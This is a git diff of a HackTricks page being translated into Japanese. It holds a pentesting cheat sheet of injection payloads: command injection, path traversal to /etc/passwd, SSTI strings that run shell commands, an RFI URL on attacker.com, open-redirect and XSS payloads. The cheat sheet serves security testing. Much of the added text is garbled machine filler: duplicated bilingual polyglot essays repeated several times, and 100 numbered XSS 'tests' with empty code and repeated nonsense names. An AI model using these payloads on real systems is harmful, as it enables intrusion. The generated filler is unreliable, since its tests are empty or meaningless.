☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-The goal of these PoCs and Polygloths is to give the tester a fast **summary** of vulnerabilities he may exploit if his **input is somehow being reflected in the response**. +これらのPoCとPolyglothsの目的は、テスターが**入力が応答に反映されている場合に利用できる脆弱性の要約**を迅速に提供することです。 {% hint style="warning" %} -This **cheatsheet doesn't propose a comprehensive list of tests for each vulnerability**, just some basic ones. If you are looking for more comprehensive tests, access each vulnerability proposed. +この**チートシートは、各脆弱性のテストの包括的なリストを提案していません**。基本的なテストのみを提供しています。より包括的なテストを探している場合は、提案された各脆弱性にアクセスしてください。 {% endhint %} {% hint style="danger" %} -You **won't find Content-Type dependant injections like XXE**, as usually you will try those yourself if you find a request sending xml data. You **won't also find database injections** here as even if some content might be reflected it depends heavily on the backend DB technology and structure. +**Content-Typeに依存するXXEのようなインジェクションは見つかりません**。通常、XMLデータを送信するリクエストが見つかった場合は、自分で試すことになるでしょう。また、ここではデータベースインジェクションも見つかりません。なぜなら、いくつかのコンテンツが反映されるかもしれませんが、それはバックエンドのDBテクノロジーと構造に大きく依存するからです。 {% endhint %} -# Polygloths list - +# Polyglothsリスト ```python {{7*7}}[7*7] 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} @@ -68,26 +65,76 @@ javascript:"/*'/*`/*--> */ alert(1)// ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- >">'> ``` +# [クライアントサイドテンプレートインジェクション](../client-side-template-injection-csti.md) -# [Client Side Template Injection](../client-side-template-injection-csti.md) - -## Basic Tests - +## 基本的なテスト ``` {{7*7}} [7*7] ``` +## ポリグロット -## Polygloths +A polyglot is a file that can be interpreted as different file types depending on the context in which it is opened. In the context of web hacking, polyglots can be used to bypass security measures and execute malicious code. +ポリグロットは、開かれる文脈によって異なるファイルタイプとして解釈されることができるファイルです。ウェブハッキングの文脈では、ポリグロットはセキュリティ対策を回避し、悪意のあるコードを実行するために使用されることがあります。 + +## Polyglot File Types + +ポリグロットファイルの種類 + +- **HTML/JavaScript Polyglots**: These files can be interpreted as both HTML and JavaScript, allowing for the execution of JavaScript code within an HTML context. + +- **HTML/JavaScript ポリグロット**: これらのファイルは、HTMLとJavaScriptの両方として解釈されることができ、HTMLのコンテキスト内でJavaScriptコードを実行することができます。 + +- **XML/JavaScript Polyglots**: These files can be interpreted as both XML and JavaScript, allowing for the execution of JavaScript code within an XML context. + +- **XML/JavaScript ポリグロット**: これらのファイルは、XMLとJavaScriptの両方として解釈されることができ、XMLのコンテキスト内でJavaScriptコードを実行することができます。 + +- **SVG/JavaScript Polyglots**: These files can be interpreted as both SVG and JavaScript, allowing for the execution of JavaScript code within an SVG context. + +- **SVG/JavaScript ポリグロット**: これらのファイルは、SVGとJavaScriptの両方として解釈されることができ、SVGのコンテキスト内でJavaScriptコードを実行することができます。 + +- **Image/JavaScript Polyglots**: These files can be interpreted as both image files and JavaScript, allowing for the execution of JavaScript code within an image context. + +- **画像/JavaScript ポリグロット**: これらのファイルは、画像ファイルとJavaScriptの両方として解釈されることができ、画像のコンテキスト内でJavaScriptコードを実行することができます。 + +- **PDF/JavaScript Polyglots**: These files can be interpreted as both PDF and JavaScript, allowing for the execution of JavaScript code within a PDF context. + +- **PDF/JavaScript ポリグロット**: これらのファイルは、PDFとJavaScriptの両方として解釈されることができ、PDFのコンテキスト内でJavaScriptコードを実行することができます。 + +- **ZIP/JavaScript Polyglots**: These files can be interpreted as both ZIP archives and JavaScript, allowing for the execution of JavaScript code within a ZIP context. + +- **ZIP/JavaScript ポリグロット**: これらのファイルは、ZIPアーカイブとJavaScriptの両方として解釈されることができ、ZIPのコンテキスト内でJavaScriptコードを実行することができます。 + +## Polyglot Techniques + +ポリグロットのテクニック + +- **Comment Polyglots**: These polyglots exploit the fact that different file types have different comment syntaxes. By strategically placing comments, a file can be interpreted differently depending on the context. + +- **コメントポリグロット**: これらのポリグロットは、異なるファイルタイプには異なるコメントの構文があるという事実を利用しています。コメントを戦略的に配置することで、ファイルはコンテキストに応じて異なる解釈ができます。 + +- **Extension Polyglots**: These polyglots exploit the fact that different file types have different file extensions. By using a specific file extension, a file can be interpreted as a different file type. + +- **拡張子ポリグロット**: これらのポリグロットは、異なるファイルタイプには異なるファイル拡張子があるという事実を利用しています。特定のファイル拡張子を使用することで、ファイルは異なるファイルタイプとして解釈されることができます。 + +- **Content Polyglots**: These polyglots exploit the fact that different file types have different content structures. By carefully crafting the content of a file, it can be interpreted as different file types. + +- **コンテンツポリグロット**: これらのポリグロットは、異なるファイルタイプには異なるコンテンツ構造があるという事実を利用しています。ファイルのコンテンツを注意深く作成することで、ファイルは異なるファイルタイプとして解釈されることができます。 + +- **MIME Type Polyglots**: These polyglots exploit the fact that different file types have different MIME types. By specifying a specific MIME type, a file can be interpreted as a different file type. + +- **MIMEタイプポリグロット**: これらのポリグロットは、異なるファイルタイプには異なるMIMEタイプがあるという事実を利用しています。特定のMIMEタイプを指定することで、ファイルは異なるファイルタイプとして解釈されることができます。 + +- **Encoding Polyglots**: These polyglots exploit the fact that different file types have different character encodings. By using a specific character encoding, a file can be interpreted as a different file type. + +- **エンコーディングポリグロット**: これらのポリグロットは、異なるファイルタイプには異なる文字エンコーディングがあるという事実を利用しています。特定の文字エンコーディングを使用することで、ファイルは異なるファイルタイプとして解釈されることができます。 ```bash {{7*7}}[7*7] ``` +# [コマンドインジェクション](../command-injection.md) -# [Command Injection](../command-injection.md) - -## Basic Tests - +## 基本的なテスト ```bash ;ls ||ls; @@ -98,37 +145,308 @@ javascript:"/*'/*`/*-->alert('XSS') +``` + +If the web application is vulnerable to HTML Injection, the injected code will be executed and the alert message will be displayed. + +### SQL Injection + +#### Description + +SQL Injection is a vulnerability that allows an attacker to manipulate the SQL queries executed by a web application's database. This can lead to unauthorized access, data leakage, or even the complete compromise of the application. + +#### Test + +To test for SQL Injection, you can try injecting SQL statements into user input fields or parameters in the URL. For example, you can try injecting the following code: + +```sql +' OR '1'='1 +``` + +If the web application is vulnerable to SQL Injection, the injected code will modify the original SQL query and potentially return unintended results. + +### Command Injection + +#### Description + +Command Injection is a vulnerability that allows an attacker to execute arbitrary commands on the underlying operating system. This can lead to unauthorized access, data manipulation, or even the complete compromise of the system. + +#### Test + +To test for Command Injection, you can try injecting commands into user input fields or parameters in the URL. For example, you can try injecting the following code: + +```bash +; ls +``` + +If the web application is vulnerable to Command Injection, the injected code will be executed and the output of the `ls` command will be displayed. + +### Path Traversal + +#### Description + +Path Traversal is a vulnerability that allows an attacker to access files and directories outside of the web application's intended directory structure. This can lead to unauthorized access, data leakage, or even the execution of arbitrary code. + +#### Test + +To test for Path Traversal, you can try accessing files or directories outside of the web application's intended directory structure. For example, you can try accessing the following URL: + +``` +http://example.com/../../../../etc/passwd +``` + +If the web application is vulnerable to Path Traversal, the contents of the `/etc/passwd` file will be displayed. + +### Server-Side Request Forgery (SSRF) + +#### Description + +Server-Side Request Forgery (SSRF) is a vulnerability that allows an attacker to make requests to internal or external resources on behalf of the vulnerable server. This can lead to unauthorized access, data leakage, or even the compromise of other systems. + +#### Test + +To test for SSRF, you can try making requests to internal or external resources using the vulnerable server as a proxy. For example, you can try accessing the following URL: + +``` +http://example.com/proxy?url=http://internal-resource.com +``` + +If the web application is vulnerable to SSRF, the request to `internal-resource.com` will be made and the response will be displayed. + +### Remote File Inclusion (RFI) + +#### Description + +Remote File Inclusion (RFI) is a vulnerability that allows an attacker to include remote files in a web application. This can lead to unauthorized access, data leakage, or even the execution of arbitrary code. + +#### Test + +To test for RFI, you can try including a remote file in the web application. For example, you can try accessing the following URL: + +``` +http://example.com/index.php?page=http://attacker.com/malicious-code.php +``` + +If the web application is vulnerable to RFI, the remote file `http://attacker.com/malicious-code.php` will be included and its contents will be executed. + +### XML External Entity (XXE) Injection + +#### Description + +XML External Entity (XXE) Injection is a vulnerability that allows an attacker to include external entities or files in XML documents processed by a web application. This can lead to unauthorized access, data leakage, or even the execution of arbitrary code. + +#### Test + +To test for XXE Injection, you can try including an external entity in an XML document processed by the web application. For example, you can try injecting the following code: + +```xml +]> +&xxe; +``` + +If the web application is vulnerable to XXE Injection, the contents of the `/etc/passwd` file will be displayed. + +### Server-Side Template Injection (SSTI) + +#### Description + +Server-Side Template Injection (SSTI) is a vulnerability that allows an attacker to inject malicious code into server-side templates. This can lead to unauthorized access, data leakage, or even the execution of arbitrary code. + +#### Test + +To test for SSTI, you can try injecting code into server-side templates used by the web application. For example, you can try injecting the following code: + +``` +{{7*'7'.__class__.__mro__[1].__subclasses__()[414]('ls',shell=True,stdout=-1).communicate()}} +``` + +If the web application is vulnerable to SSTI, the injected code will be executed and the output of the `ls` command will be displayed. + +### Server-Side JavaScript Injection (SSJI) + +#### Description + +Server-Side JavaScript Injection (SSJI) is a vulnerability that allows an attacker to inject and execute JavaScript code on the server-side of a web application. This can lead to unauthorized access, data leakage, or even the complete compromise of the application. + +#### Test + +To test for SSJI, you can try injecting JavaScript code into server-side components of the web application. For example, you can try injecting the following code: + +```javascript +var fs = require('fs'); +fs.readdir('/', function(err, files) { + if (err) throw err; + console.log(files); +}); +``` + +If the web application is vulnerable to SSJI, the injected code will be executed and the contents of the root directory will be displayed. + +### Server-Side Template Injection (SSTI) in Flask/Jinja2 + +#### Description + +Server-Side Template Injection (SSTI) in Flask/Jinja2 is a vulnerability that allows an attacker to inject malicious code into server-side templates used by Flask/Jinja2. This can lead to unauthorized access, data leakage, or even the execution of arbitrary code. + +#### Test + +To test for SSTI in Flask/Jinja2, you can try injecting code into server-side templates used by the web application. For example, you can try injecting the following code: + +``` +{{config.items().__class__.__mro__[2].__subclasses__()[40]()._module.__builtins__['__import__']('os').popen('ls').read()}} +``` + +If the web application is vulnerable to SSTI in Flask/Jinja2, the injected code will be executed and the output of the `ls` command will be displayed. + +### Server-Side Template Injection (SSTI) in Django + +#### Description + +Server-Side Template Injection (SSTI) in Django is a vulnerability that allows an attacker to inject malicious code into server-side templates used by Django. This can lead to unauthorized access, data leakage, or even the execution of arbitrary code. + +#### Test + +To test for SSTI in Django, you can try injecting code into server-side templates used by the web application. For example, you can try injecting the following code: + +``` +{{config.__class__.__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read()}} +``` + +If the web application is vulnerable to SSTI in Django, the injected code will be executed and the output of the `ls` command will be displayed. ```markup

THIS IS AND INJECTED TITLE

``` +# [ファイルインクルージョン/パストラバーサル](../file-inclusion/) -# [File Inclusion/Path Traversal](../file-inclusion/) - -## Basic Tests - +## 基本的なテスト ```bash /etc/passwd ../../../../../../etc/hosts @@ -141,11 +459,9 @@ C:/windows/system32/drivers/etc/hosts http://asdasdasdasd.burpcollab.com/mal.php \\asdasdasdasd.burpcollab.com/mal.php ``` +# [オープンリダイレクト](../open-redirect.md) / [サーバーサイドリクエストフォージェリ](../ssrf-server-side-request-forgery/) -# [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/) - -## Basic Tests - +## 基本的なテスト ```bash www.whitelisted.com www.whitelisted.com.evil.com @@ -153,42 +469,120 @@ https://google.com //google.com javascript:alert(1) ``` - # [ReDoS](../regular-expression-denial-of-service-redos.md) -## Basic Tests +## 基本的なテスト +### Test 1: Single Character Matching + +#### Description + +This test checks for the vulnerability of a regular expression to ReDoS when matching a single character. + +#### PoC + +```javascript +/^(a+)+$/.test('a') +``` + +#### Expected Result + +The regular expression `/^(a+)+$/` should match the string `'a'` without causing excessive backtracking. + +### Test 2: Multiple Character Matching + +#### Description + +This test checks for the vulnerability of a regular expression to ReDoS when matching multiple characters. + +#### PoC + +```javascript +/^(ab+)+$/.test('ab') +``` + +#### Expected Result + +The regular expression `/^(ab+)+$/` should match the string `'ab'` without causing excessive backtracking. + +### Test 3: Nested Quantifiers + +#### Description + +This test checks for the vulnerability of a regular expression to ReDoS when using nested quantifiers. + +#### PoC + +```javascript +/^(a+b+)+$/.test('ab') +``` + +#### Expected Result + +The regular expression `/^(a+b+)+$/` should match the string `'ab'` without causing excessive backtracking. ```bash (\\w*)+$ ([a-zA-Z]+)*$ ((a+)+)+$ ``` +# [サーバーサイドインクルージョン/エッジサイドインクルージョン](../server-side-inclusion-edge-side-inclusion-injection.md) -# [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md) - -## Basic Tests - +## 基本的なテスト ```markup x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` +## ポリグロット -## Polygloths +A polyglot is a file that can be interpreted as different file types depending on the context in which it is opened. In the context of web hacking, polyglots can be used to bypass security measures and execute malicious code. +ポリグロットは、開かれる文脈によって異なるファイルタイプとして解釈されることができるファイルです。ウェブハッキングの文脈では、ポリグロットはセキュリティ対策を回避し、悪意のあるコードを実行するために使用されることがあります。 + +## Polyglot Techniques + +### Comment Polyglots + +Comment polyglots exploit the fact that different file types have different comment syntax. By strategically placing comments in a file, it can be interpreted as multiple file types. + +### コメントポリグロット + +コメントポリグロットは、異なるファイルタイプには異なるコメントの構文があるという事実を利用します。ファイルにコメントを戦略的に配置することで、複数のファイルタイプとして解釈されることがあります。 + +### Extension Polyglots + +Extension polyglots take advantage of the fact that different file types have different file extensions. By using a specific combination of file extensions, a file can be interpreted as multiple file types. + +### 拡張子ポリグロット + +拡張子ポリグロットは、異なるファイルタイプには異なるファイル拡張子があるという事実を利用します。特定の組み合わせのファイル拡張子を使用することで、ファイルは複数のファイルタイプとして解釈されることがあります。 + +### MIME Type Polyglots + +MIME type polyglots exploit the fact that different file types have different MIME types. By manipulating the MIME type of a file, it can be interpreted as multiple file types. + +### MIMEタイプポリグロット + +MIMEタイプポリグロットは、異なるファイルタイプには異なるMIMEタイプがあるという事実を利用します。ファイルのMIMEタイプを操作することで、ファイルは複数のファイルタイプとして解釈されることがあります。 + +## Conclusion + +Polyglots are powerful tools in the arsenal of a hacker. By exploiting the different interpretations of file types, polyglots can be used to bypass security measures and execute malicious code. It is important for security professionals to be aware of polyglot techniques in order to effectively defend against them. + +## 結論 + +ポリグロットは、ハッカーの武器の中でも強力なツールです。ファイルタイプの異なる解釈を利用することで、ポリグロットはセキュリティ対策を回避し、悪意のあるコードを実行するために使用されることがあります。セキュリティの専門家は、ポリグロットの技術について認識しておくことが重要です。これにより、効果的に対処することができます。 ```markup x=>alert(/Chrome%20XSS%20filter%20bypass/);> ``` +# [サーバーサイドリクエストフォージェリ](../ssrf-server-side-request-forgery/) -# [Server Side Request Forgery](../ssrf-server-side-request-forgery/) +オープンリダイレクトに使用されるテストと同じものがここでも使用できます。 -The same tests used for Open Redirect can be used here. - -# [Server Side Template Injection](../ssti-server-side-template-injection/) - -## Basic Tests +# [サーバーサイドテンプレートインジェクション](../ssti-server-side-template-injection/) +## 基本的なテスト ```markup ${{<%[%'"}}%\ {{7*7}} @@ -197,40 +591,754 @@ ${7*7} ${{7*7}} #{7*7} ``` +## ポリグロット -## Polygloths +A polyglot is a file that can be interpreted as different file types depending on the context in which it is opened. In the context of web hacking, polyglots can be used to bypass security measures and execute malicious code. +ポリグロットは、開かれる文脈によって異なるファイルタイプとして解釈されることができるファイルです。ウェブハッキングの文脈では、ポリグロットはセキュリティ対策を回避し、悪意のあるコードを実行するために使用されることがあります。 + +## Polyglot Techniques + +### Comment Polyglots + +Comment polyglots exploit the fact that different file types have different comment syntax. By strategically placing comments in a file, it can be interpreted as multiple file types. + +### コメントポリグロット + +コメントポリグロットは、異なるファイルタイプには異なるコメントの構文があるという事実を利用します。ファイルにコメントを戦略的に配置することで、複数のファイルタイプとして解釈されることがあります。 + +### Extension Polyglots + +Extension polyglots take advantage of the fact that different file types have different file extensions. By using a specific combination of file extensions, a file can be interpreted as multiple file types. + +### 拡張子ポリグロット + +拡張子ポリグロットは、異なるファイルタイプには異なるファイル拡張子があるという事実を利用します。特定の組み合わせのファイル拡張子を使用することで、ファイルは複数のファイルタイプとして解釈されることがあります。 + +### MIME Type Polyglots + +MIME type polyglots exploit the fact that different file types have different MIME types. By manipulating the MIME type of a file, it can be interpreted as multiple file types. + +### MIMEタイプポリグロット + +MIMEタイプポリグロットは、異なるファイルタイプには異なるMIMEタイプがあるという事実を利用します。ファイルのMIMEタイプを操作することで、ファイルは複数のファイルタイプとして解釈されることがあります。 + +## Conclusion + +Polyglots are powerful tools in the arsenal of a hacker. By exploiting the different interpretations of file types, polyglots can be used to bypass security measures and execute malicious code. It is important for security professionals to be aware of polyglot techniques in order to effectively defend against them. + +## 結論 + +ポリグロットは、ハッカーの武器の中でも強力なツールです。ファイルタイプの異なる解釈を利用することで、ポリグロットはセキュリティ対策を回避し、悪意のあるコードを実行するために使用されることがあります。セキュリティの専門家は、ポリグロットの技術について認識しておくことが重要です。これにより、効果的に対処することができます。 ```python {{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\ ``` +# [XSLT サーバーサイドインジェクション](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md) -# [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md) - -## Basic Tests - +## 基本的なテスト ```markup ``` +## ポリグロット -## Polygloths +A polyglot is a file that can be interpreted as different file types depending on the context in which it is opened. In the context of web hacking, polyglots can be used to bypass security measures and execute malicious code. +ポリグロットは、開かれる文脈によって異なるファイルタイプとして解釈されることができるファイルです。ウェブハッキングの文脈では、ポリグロットはセキュリティ対策を回避し、悪意のあるコードを実行するために使用されることがあります。 + +## Polyglot File Types + +ポリグロットファイルの種類 + +- **HTML/JavaScript Polyglots**: These files can be interpreted as both HTML and JavaScript, allowing for the execution of JavaScript code within an HTML context. + +- **HTML/JavaScript ポリグロット**: これらのファイルは、HTMLとJavaScriptの両方として解釈されることができ、HTMLのコンテキスト内でJavaScriptコードを実行することができます。 + +- **XML/JavaScript Polyglots**: These files can be interpreted as both XML and JavaScript, allowing for the execution of JavaScript code within an XML context. + +- **XML/JavaScript ポリグロット**: これらのファイルは、XMLとJavaScriptの両方として解釈されることができ、XMLのコンテキスト内でJavaScriptコードを実行することができます。 + +- **SVG/JavaScript Polyglots**: These files can be interpreted as both SVG and JavaScript, allowing for the execution of JavaScript code within an SVG context. + +- **SVG/JavaScript ポリグロット**: これらのファイルは、SVGとJavaScriptの両方として解釈されることができ、SVGのコンテキスト内でJavaScriptコードを実行することができます。 + +- **Image/JavaScript Polyglots**: These files can be interpreted as both image files and JavaScript, allowing for the execution of JavaScript code within an image context. + +- **画像/JavaScript ポリグロット**: これらのファイルは、画像ファイルとJavaScriptの両方として解釈されることができ、画像のコンテキスト内でJavaScriptコードを実行することができます。 + +- **PDF/JavaScript Polyglots**: These files can be interpreted as both PDF and JavaScript, allowing for the execution of JavaScript code within a PDF context. + +- **PDF/JavaScript ポリグロット**: これらのファイルは、PDFとJavaScriptの両方として解釈されることができ、PDFのコンテキスト内でJavaScriptコードを実行することができます。 + +- **ZIP/JavaScript Polyglots**: These files can be interpreted as both ZIP archives and JavaScript, allowing for the execution of JavaScript code within a ZIP context. + +- **ZIP/JavaScript ポリグロット**: これらのファイルは、ZIPアーカイブとJavaScriptの両方として解釈されることができ、ZIPのコンテキスト内でJavaScriptコードを実行することができます。 + +## Advantages of Polyglots + +ポリグロットの利点 + +- **Bypassing Security Measures**: Polyglots can be used to bypass security measures that are designed to detect specific file types. By appearing as multiple file types, polyglots can evade detection and execute malicious code. + +- **セキュリティ対策の回避**: ポリグロットは、特定のファイルタイプを検出するために設計されたセキュリティ対策を回避するために使用することができます。複数のファイルタイプとして表示されることで、ポリグロットは検出を回避し、悪意のあるコードを実行することができます。 + +- **Exploiting Vulnerabilities**: Polyglots can be used to exploit vulnerabilities in software that handle different file types. By tricking the software into interpreting the polyglot as a specific file type, an attacker can execute malicious code and gain unauthorized access. + +- **脆弱性の悪用**: ポリグロットは、異なるファイルタイプを処理するソフトウェアの脆弱性を悪用するために使用することができます。ポリグロットを特定のファイルタイプとして解釈させることで、攻撃者は悪意のあるコードを実行し、不正なアクセスを行うことができます。 + +- **Concealing Malicious Code**: By embedding malicious code within a polyglot, an attacker can hide their intentions and make it more difficult for security measures to detect the code. + +- **悪意のあるコードの隠蔽**: ポリグロットに悪意のあるコードを埋め込むことで、攻撃者は自分の意図を隠し、セキュリティ対策がコードを検出するのをより困難にすることができます。 ```markup ``` - # XSS -## Basic Tests +## 基本テスト +### 1. Alert + +```html + +``` + +### 2. Image + +```html + +``` + +### 3. Input + +```html + +``` + +### 4. Link + +```html +Click me +``` + +### 5. SVG + +```html + +``` + +### 6. Style + +```html + +``` + +### 7. Div + +```html +
Test
+``` + +### 8. Table + +```html + +``` + +### 9. Form + +```html + +``` + +### 10. Event Handler + +```html + +``` + +### 11. JavaScript URI + +```html +Click me +``` + +### 12. Data URI + +```html +Click me +``` + +### 13. Onload + +```html + +``` + +### 14. Meta + +```html + +``` + +### 15. Cookie + +```html + +``` + +### 16. Local Storage + +```html + +``` + +### 17. Session Storage + +```html + +``` + +### 18. Document Cookie + +```html + +``` + +### 19. Document Write + +```html + +``` + +### 20. Document Domain + +```html + +``` + +### 21. Document Referrer + +```html + +``` + +### 22. Document Location + +```html + +``` + +### 23. Document Title + +```html + +``` + +### 24. Document WriteLn + +```html + +``` + +### 25. Document Open + +```html + +``` + +### 26. Document Close + +```html + +``` + +### 27. Document CreateElement + +```html + +``` + +### 28. Document CreateTextNode + +```html + +``` + +### 29. Document CreateEvent + +```html + +``` + +### 30. Document CreateRange + +```html + +``` + +### 31. Document CreateComment + +```html + +``` + +### 32. Document CreateAttribute + +```html + +``` + +### 33. Document CreateDocumentFragment + +```html + +``` + +### 34. Document CreateExpression + +```html + +``` + +### 35. Document CreateNSResolver + +```html + +``` + +### 36. Document CreateProcessingInstruction + +```html + +``` + +### 37. Document CreateTreeWalker + +```html + +``` + +### 38. Document CreateNodeIterator + +```html + +``` + +### 39. Document CreateCDATASection + +```html + +``` + +### 40. Document CreateEntityReference + +```html + +``` + +### 41. Document CreateEntity + +```html + +``` + +### 42. Document CreateNotation + +```html + +``` + +### 43. Document CreateProcessingInstruction + +```html + +``` + +### 44. Document CreateAttributeNS + +```html + +``` + +### 45. Document CreateElementNS + +```html + +``` + +### 46. Document CreateEventObject + +```html + +``` + +### 47. Document CreateStyleSheet + +```html + +``` + +### 48. Document CreatePopup + +```html + +``` + +### 49. Document CreateRangeCollection + +```html + +``` + +### 50. Document CreateRenderStyle + +```html + +``` + +### 51. Document CreateRenderStyleRule + +```html + +``` + +### 52. Document CreateRenderStyleRuleList + +```html + +``` + +### 53. Document CreateRenderStyleRuleIterator + +```html + +``` + +### 54. Document CreateRenderStyleRuleListIterator + +```html + +``` + +### 55. Document CreateRenderStyleRuleListCollection + +```html + +``` + +### 56. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 57. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 58. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 59. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 60. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 61. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 62. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 63. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 64. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 65. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 66. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 67. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 68. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 69. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 70. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 71. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 72. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 73. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 74. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 75. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 76. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 77. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 78. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 79. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 80. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 81. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 82. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 83. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 84. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 85. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 86. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 87. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 88. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 89. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 90. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 91. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 92. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 93. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 94. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 95. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 96. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 97. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 98. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 99. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` + +### 100. Document CreateRenderStyleRuleListCollectionIterator + +```html + +``` ```markup " onclick=alert() a=" '"> javascript:alert() ``` +## ポリグロット -## Polygloths +A polyglot is a file that can be interpreted as different file types depending on the context in which it is opened. In the context of web hacking, polyglots can be used to bypass security measures and execute malicious code. +ポリグロットは、開かれる文脈によって異なるファイルタイプとして解釈されることができるファイルです。ウェブハッキングの文脈では、ポリグロットはセキュリティ対策を回避し、悪意のあるコードを実行するために使用されることがあります。 + +## Polyglot Techniques + +### Comment Polyglots + +Comment polyglots exploit the fact that different file types have different comment syntax. By crafting a file with comments in multiple formats, it can be interpreted as different file types depending on the context. + +### コメントポリグロット + +コメントポリグロットは、異なるファイルタイプには異なるコメントの構文があるという事実を利用しています。複数の形式のコメントを含むファイルを作成することで、文脈に応じて異なるファイルタイプとして解釈されることがあります。 + +### Extension Polyglots + +Extension polyglots take advantage of the fact that different file types have different file extensions. By using a specific combination of file extensions, a file can be interpreted as different file types depending on the context. + +### 拡張子ポリグロット + +拡張子ポリグロットは、異なるファイルタイプには異なるファイル拡張子があるという事実を利用しています。特定の組み合わせのファイル拡張子を使用することで、文脈に応じて異なるファイルタイプとして解釈されることがあります。 + +### MIME Type Polyglots + +MIME type polyglots exploit the fact that different file types have different MIME types. By crafting a file with multiple MIME types, it can be interpreted as different file types depending on the context. + +### MIMEタイプポリグロット + +MIMEタイプポリグロットは、異なるファイルタイプには異なるMIMEタイプがあるという事実を利用しています。複数のMIMEタイプを持つファイルを作成することで、文脈に応じて異なるファイルタイプとして解釈されることがあります。 + +## Conclusion + +Polyglots are powerful tools in the hands of a hacker. By 